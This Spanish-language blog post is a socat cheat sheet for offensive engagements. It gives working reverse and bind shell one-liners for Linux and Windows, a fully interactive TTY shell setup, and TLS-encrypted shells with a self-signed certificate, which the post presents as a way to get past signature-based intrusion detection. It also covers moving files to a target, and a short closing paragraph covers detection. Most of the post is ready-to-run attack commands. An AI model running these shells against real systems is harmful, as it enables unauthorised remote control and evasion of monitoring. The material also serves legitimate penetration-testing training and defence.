← Blog

Socat — Shells TTY Estables y Canales Cifrados

Socat como conector entre dos puntos: reverse/bind shells, EXEC con 'pipes', shell TTY completa (pty, stderr, sigint, setsid, sane) y shells cifradas con OPENSSL.

1. Operational Scope & Technical Objective

socat es un conector entre dos puntos (puerto↔shell, puerto↔fichero, dos puertos). Frente a netcat ofrece dos ventajas decisivas en un engagement: la shell TTY completa (pseudoterminal, control de señales y saneado del terminal, el equivalente estabilizado del truco Ctrl+Z; stty raw -echo; fg) y los canales cifrados (OPENSSL), donde el mismo patrón de conectividad se encapsula en TLS. Si el objetivo no trae socat, se puede subir un binario estático precompilado (static-binaries/socat).

2. High-Impact Syntax & Command Cheatsheet

# Listener básico (equivalente a nc -lvnp <port>)
socat TCP-L:<port> -
#   TCP-L:<port> -> listener TCP; '-' -> stdin/stdout local

# Reverse shell (Windows) y (Linux)
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
#   EXEC:...      -> ejecuta el binario conectando sus stdio al socket
#   ,pipes        -> fuerza pipes estilo Unix en Windows (interfaz I/O)

# Bind shell: listener en el objetivo
socat TCP-L:<PORT> EXEC:"bash -li"            # Linux (objetivo escucha)
socat TCP-L:<PORT> EXEC:powershell.exe,pipes  # Windows (objetivo escucha)
socat TCP:<TARGET-IP>:<TARGET-PORT> -         # atacante conecta al listener

# Shell TTY estable (solo Linux): listener especial
socat TCP-L:<port> FILE:`tty`,raw,echo=0
#   FILE:`tty`   -> usa la tty local como fichero
#   raw,echo=0   -> modo crudo, sin eco (equivale a stty raw -echo)

# Y el objetivo conecta con esta sintaxis específica:
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
#   pty    -> aloca un pseudoterminal en el objetivo
#   stderr -> los errores se muestran en la shell
#   sigint -> pasa Ctrl+C al subproceso (poder matar comandos)
#   setsid -> crea la sesión nueva (independiente del terminal actual)
#   sane   -> normaliza el terminal (estable)
# Resultado: shell interactiva que permite SSH, vim, nano (completar con stty)

# Verbosidad para depurar una shell que no responde
socat -d -d ...            # -d -d: debug; útil para diagnosticar conectividad

# Shells cifradas con OPENSSL
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem      # fusionar clave + cert en un .pem

# Listener OPENSSL (reverse)
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
#   verify=0 -> no validar que el cert esté firmado por una CA
#   El certificado SIEMPRE va en quien escucha
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

# Bind shell cifrada
# Target (Windows):
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
# Attacker:
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
# Para bind shell también hay que copiar el .pem al lado que escucha

3. Real-World Offensive/Defensive Scenarios

Shell interactiva estable sobre una web shell. Con una reverse shell no interactiva (netcat), ejecutar el comando socat especial y conectar al listener FILE:tty devuelve un bash con TTY completo: su, ssh, editores y programas full-screen funcionan — sin el baile de stty a posteriori.

Canal cifrado evadiendo inspección. Sustituyendo TCP por OPENSSL en cualquier comando se obtiene una shell o bind cifrada: el tráfico no es legible en claro y no dispara IDS basados en firmas de shell. El certificado se autofirma (verify=0) y solo se usa en el extremo que escucha.

Transferencia de ficheros entre dos puntos. socat también une puerto↔fichero: socat TCP-L:4444 file:recv.bin + socat TCP:IP:4444 file:send.bin mueven binarios estáticos o herramientas al objetivo sin servidor HTTP.

Defensa. Socat es un binario dual-use: detectar su presencia (socat en PATH, puertos OPENSSL inusuales) y bloquear el egress hacia puertos altos con sesiones TLS sin MITM. La shell TTY estable genera procesos bash -li con pseudoterminales que los EDR con monitorización de procesos (PPID, sockets) pueden correlacionar.